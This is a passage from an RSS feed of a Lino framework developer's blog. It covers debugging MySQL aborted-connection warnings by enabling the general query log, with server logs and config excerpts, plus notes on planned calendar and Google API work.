&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  &lt;span class="n"&gt;PID&lt;/span&gt; &lt;span class="n"&gt;USER&lt;/span&gt;      &lt;span class="n"&gt;PR&lt;/span&gt;  &lt;span class="n"&gt;NI&lt;/span&gt;    &lt;span class="n"&gt;VIRT&lt;/span&gt;    &lt;span class="n"&gt;RES&lt;/span&gt;    &lt;span class="n"&gt;SHR&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;  &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;CPU&lt;/span&gt;  &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;MEM&lt;/span&gt;     &lt;span class="n"&gt;TIME&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;COMMAND&lt;/span&gt;
&lt;span class="mi"&gt;26071&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;  &lt;span class="mi"&gt;20&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="mi"&gt;342784&lt;/span&gt; &lt;span class="mi"&gt;149880&lt;/span&gt;   &lt;span class="mi"&gt;5144&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;   &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;   &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;07.29&lt;/span&gt; &lt;span class="n"&gt;uwsgi&lt;/span&gt;
&lt;span class="mi"&gt;26070&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;  &lt;span class="mi"&gt;20&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="mi"&gt;339304&lt;/span&gt; &lt;span class="mi"&gt;145692&lt;/span&gt;   &lt;span class="mi"&gt;4488&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;   &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;   &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;41.30&lt;/span&gt; &lt;span class="n"&gt;uwsgi&lt;/span&gt;
&lt;span class="mi"&gt;26109&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;  &lt;span class="mi"&gt;20&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="mi"&gt;332804&lt;/span&gt; &lt;span class="mi"&gt;138796&lt;/span&gt;   &lt;span class="mi"&gt;3872&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;   &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;00.46&lt;/span&gt; &lt;span class="n"&gt;uwsgi&lt;/span&gt;
&lt;span class="mi"&gt;25598&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;  &lt;span class="mi"&gt;20&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="mi"&gt;330812&lt;/span&gt; &lt;span class="mi"&gt;137752&lt;/span&gt;   &lt;span class="mi"&gt;4820&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;   &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;15.93&lt;/span&gt; &lt;span class="n"&gt;uwsgi&lt;/span&gt;
&lt;span class="mi"&gt;26110&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;  &lt;span class="mi"&gt;20&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="mi"&gt;329576&lt;/span&gt; &lt;span class="mi"&gt;135692&lt;/span&gt;   &lt;span class="mi"&gt;3872&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;   &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;00.56&lt;/span&gt; &lt;span class="n"&gt;uwsgi&lt;/span&gt;
&lt;span class="mi"&gt;25593&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;  &lt;span class="mi"&gt;20&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="mi"&gt;327696&lt;/span&gt; &lt;span class="mi"&gt;134952&lt;/span&gt;   &lt;span class="mi"&gt;5000&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;   &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;16.70&lt;/span&gt; &lt;span class="n"&gt;uwsgi&lt;/span&gt;
&lt;span class="mi"&gt;32482&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;  &lt;span class="mi"&gt;20&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="mi"&gt;284960&lt;/span&gt; &lt;span class="mi"&gt;130680&lt;/span&gt;   &lt;span class="mi"&gt;7872&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;   &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;29.15&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt;
&lt;span class="mi"&gt;25596&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;  &lt;span class="mi"&gt;20&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="mi"&gt;315052&lt;/span&gt; &lt;span class="mi"&gt;121780&lt;/span&gt;   &lt;span class="mi"&gt;4868&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;   &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;11.89&lt;/span&gt; &lt;span class="n"&gt;uwsgi&lt;/span&gt;
&lt;span class="mi"&gt;25283&lt;/span&gt; &lt;span class="n"&gt;mysql&lt;/span&gt;     &lt;span class="mi"&gt;20&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="mi"&gt;1727408&lt;/span&gt; &lt;span class="mi"&gt;114352&lt;/span&gt;   &lt;span class="mi"&gt;1960&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;   &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;   &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;   &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;34.27&lt;/span&gt; &lt;span class="n"&gt;mysqld&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Nothing suspicious there.&lt;/p&gt;
&lt;p&gt;But here. The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/mysql/error.log&lt;/span&gt;&lt;/code&gt; says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;2021&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;  &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;613&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ne"&gt;Warning&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Aborted&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="mi"&gt;613&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;xyz&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;abcd&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cdef&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Got&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt; &lt;span class="n"&gt;reading&lt;/span&gt; &lt;span class="n"&gt;communication&lt;/span&gt; &lt;span class="n"&gt;packets&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Whenever a communication error occurs, MySQL increments the status counter for
either Aborted_clients or Aborted_connects. &lt;a class="reference external" href="https://www.percona.com/blog/2016/05/16/mysql-got-an-error-reading-communication-packet-errors/"&gt;Muhammad Irfan&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;My feeling says that we can exclude  &lt;a class="reference external" href="https://dev.mysql.com/doc/refman/5.6/en/server-status-variables.html#statvar_Aborted_connects"&gt;Aborted_connects&lt;/a&gt;
(failed attempts to connect to the MySQL server), so this log entry informs
about a case of &lt;a class="reference external" href="https://dev.mysql.com/doc/refman/5.6/en/server-status-variables.html#statvar_Aborted_clients"&gt;Aborted_clients&lt;/a&gt;,
IOW a connection that was aborted because the client died without closing the
connection properly.&lt;/p&gt;
&lt;p&gt;The client died without closing the connection properly?&lt;/p&gt;
&lt;p&gt;Irfan: “To be honest, aborted connection errors are not easy to diagnose.”&lt;/p&gt;
&lt;p&gt;I should now enable the general query log of the MySQL server&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_general_log"&gt;https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_general_log&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.mysql.com/doc/refman/5.6/en/query-log.html"&gt;https://dev.mysql.com/doc/refman/5.6/en/query-log.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As it seems I can activate the general MySQL query log simply by adding a SET to
the OPTIONS of my &lt;a class="reference external" href="https://dev.lino-framework.org/ref/settings.html#setting-DATABASES" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;DATABASES&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; setting.&lt;/p&gt;
&lt;p&gt;Something like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;DATABASES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;default&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;ENGINE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;django.db.backends.mysql&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="o"&gt;...&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;OPTIONS&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
           &lt;span class="s2"&gt;&amp;quot;init_command&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;SET default_storage_engine=MyISAM; SET log_output=FILE; SET general_log=ON; SET general_log_file=xyz-general.log&amp;quot;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

   &lt;span class="s2"&gt;&amp;quot;init_command&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;SET default_storage_engine=MyISAM;&lt;/span&gt;
   &lt;span class="n"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;log_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;FILE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
   &lt;span class="n"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;general_log&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ON&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
   &lt;span class="n"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;general_log_file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;jane&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;general&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If you specify no name for the general query log file, the default name is
&lt;cite&gt;host_name.log&lt;/cite&gt;. The server creates the file in the data directory unless an
absolute path name is given to specify a different directory.&lt;/p&gt;
&lt;p&gt;What is the “data directory” in MySQL?&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.mysql.com/doc/refman/5.7/en/data-directory.html"&gt;https://dev.mysql.com/doc/refman/5.7/en/data-directory.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Short answer: For a database named “xyz” it is
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/lib/mysql/xyz&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So after restarting Lino, my log file should be in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/lib/mysql/xyz/xyz-general.log&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Only problem is that it doesn’t work.   After almost an hour of trying, I still
didn’t manage to activate the MySQL general query log (at runtime, i.e. without
changing the server config).&lt;/p&gt;
&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/mysql/mariadb.conf.d/50-server.cnf&lt;/span&gt;&lt;/code&gt; config file says this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Both location gets rotated by the cronjob.&lt;/span&gt;
&lt;span class="c1"&gt;# Be aware that this log type is a performance killer.&lt;/span&gt;
&lt;span class="c1"&gt;# As of 5.1 you can enable the log at runtime!&lt;/span&gt;
&lt;span class="c1"&gt;#general_log_file       = /var/log/mysql/mysql.log&lt;/span&gt;
&lt;span class="c1"&gt;#general_log            = 1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So I finally uncommented these two lines in the
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/mysql/mariadb.conf.d/50-server.cnf&lt;/span&gt;&lt;/code&gt; and said &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;service&lt;/span&gt;
&lt;span class="pre"&gt;mysql&lt;/span&gt; &lt;span class="pre"&gt;restart&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now I have a &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/mysql/mysql.log&lt;/span&gt;&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;Every ten seconds it says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;210613 19:55:12          467 Query    SELECT COUNT(*) AS `__count` FROM `notify_message` LEFT OUTER JOIN `users_user` ON (`notify_message`.`user_id` = `users_user`.`id`) WHERE (`notify_message`.`sent` IS NULL AND NOT (`users_user`.`email` = &amp;#39;&amp;#39; AND `users_user`.`email` IS NOT NULL) AND `notify_message`.`mail_mode` = &amp;#39;often&amp;#39;)
210613 19:55:14          467 Query    SELECT `django_mailbox_mailbox`.`id`, `django_mailbox_mailbox`.`name`, `django_mailbox_mailbox`.`uri`, `django_mailbox_mailbox`.`from_email`, `django_mailbox_mailbox`.`active`, `django_mailbox_mailbox`.`last_polling` FROM `django_mailbox_mailbox` WHERE `django_mailbox_mailbox`.`active`
                       467 Query      UPDATE `django_mailbox_mailbox` SET `last_polling` = &amp;#39;2021-06-13 17:55:14.871730&amp;#39; WHERE `django_mailbox_mailbox`.`id` = 1
210613 19:55:22          467 Query    SELECT COUNT(*) AS `__count` FROM `notify_message` LEFT OUTER JOIN `users_user` ON (`notify_message`.`user_id` = `users_user`.`id`) WHERE (`notify_message`.`sent` IS NULL AND NOT (`users_user`.`email` = &amp;#39;&amp;#39; AND `users_user`.`email` IS NOT NULL) AND `notify_message`.`mail_mode` = &amp;#39;often&amp;#39;)
210613 19:55:24          467 Query    SELECT `django_mailbox_mailbox`.`id`, `django_mailbox_mailbox`.`name`, `django_mailbox_mailbox`.`uri`, `django_mailbox_mailbox`.`from_email`, `django_mailbox_mailbox`.`active`, `django_mailbox_mailbox`.`last_polling` FROM `django_mailbox_mailbox` WHERE `django_mailbox_mailbox`.`active`
                             467 Query        UPDATE `django_mailbox_mailbox` SET `last_polling` = &amp;#39;2021-06-13 17:55:24.889516&amp;#39; WHERE `django_mailbox_mailbox`.`id` = 1
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes, okay, that’s how to have MySQL log everything. But it’s not useful for our
problem. Because people are working on other Lino sites on the same server.&lt;/p&gt;
&lt;p&gt;I will rather try &lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/sql.html#specs-noi-sql" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Exploring SQL activity in Lino Noi&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0613.html</guid><pubDate>Sun, 13 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, June 10, 2021</title><link>https://luc.lino-framework.org/blog/2021/0610.html</link><description>&lt;section id="thursday-june-10-2021"&gt;
&lt;h1&gt;Thursday, June 10, 2021&lt;a class="headerlink" href="#thursday-june-10-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sharif and I had a brainstorming about what we can do to improve Lino’s calendar
functionality.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.calview.html#module-lino_xl.lib.calview" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.calview&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin still has some quite visible issues :&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Fix the minimum column width: when rendering the columns for the weekdays,
the calendar view switches to quickly into the mode “There is not enough width
to display all columns, so I must add a horizontal wrapper”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/model.html#lino.core.model.Model.navigation_panel" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;navigation_panel&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; should
be collapsible.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The navigation buttons are kind of duplicated. But which one to remove?
User can skip by day and by month, but not by year.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Google API:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;rename &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;googleapi_people&lt;/span&gt;&lt;/code&gt; to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;google&lt;/span&gt;&lt;/code&gt; and have it collaborate also
with cal and albums.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Have &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.Person" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts.Person&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.Event" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.Event&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
inherit from
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;GooglePeopleSynchronized&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;GooglePeopleSynchronized&lt;/span&gt;&lt;/code&gt; to a separate &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;mixins.py&lt;/span&gt;&lt;/code&gt; module and
add a test &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;if&lt;/span&gt; &lt;span class="pre"&gt;dd.is_installed('google'):&lt;/span&gt;&lt;/code&gt; so that the mixin can be used
also when the plugin is not installed (and doesn’t add anything in that case).&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DONE:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Rename GooglePeople to GoogleSynchronized &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;google_resourceName&lt;/span&gt;&lt;/code&gt; becomes a class
attribute. For each &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;resource&lt;/span&gt;&lt;/code&gt; we will have a subclass:
GooglePeopleSynchronized
GoogleCalendarSynchronized
GoogleImagesSynchronized&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0610.html</guid><pubDate>Thu, 10 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, June 9, 2021</title><link>https://luc.lino-framework.org/blog/2021/0609.html</link><description>&lt;section id="wednesday-june-9-2021"&gt;
&lt;h1&gt;Wednesday, June 9, 2021&lt;a class="headerlink" href="#wednesday-june-9-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="commands-out-of-sync-you-can-t-run-this-command-now"&gt;
&lt;h2&gt;“Commands out of sync; you can’t run this command now”&lt;a class="headerlink" href="#commands-out-of-sync-you-can-t-run-this-command-now" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In the detail view of a ticket, after clicking on the mark_ready icon, I
saw a red notification, and the &lt;a class="reference external" href="https://dev.lino-framework.org/topics/logging.html#xfile-lino.log" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.log&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;202106&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt; &lt;span class="mi"&gt;23479&lt;/span&gt; &lt;span class="mi"&gt;140427458520960&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ActiveTickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mark_ready&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="c1"&gt;#4194 (&amp;quot;#4194 (⚒ on jane The insert window doesn&amp;#39;t close after submitting)&amp;quot;)]&lt;/span&gt;
&lt;span class="mi"&gt;202106&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="mi"&gt;23479&lt;/span&gt; &lt;span class="mi"&gt;140427458520960&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
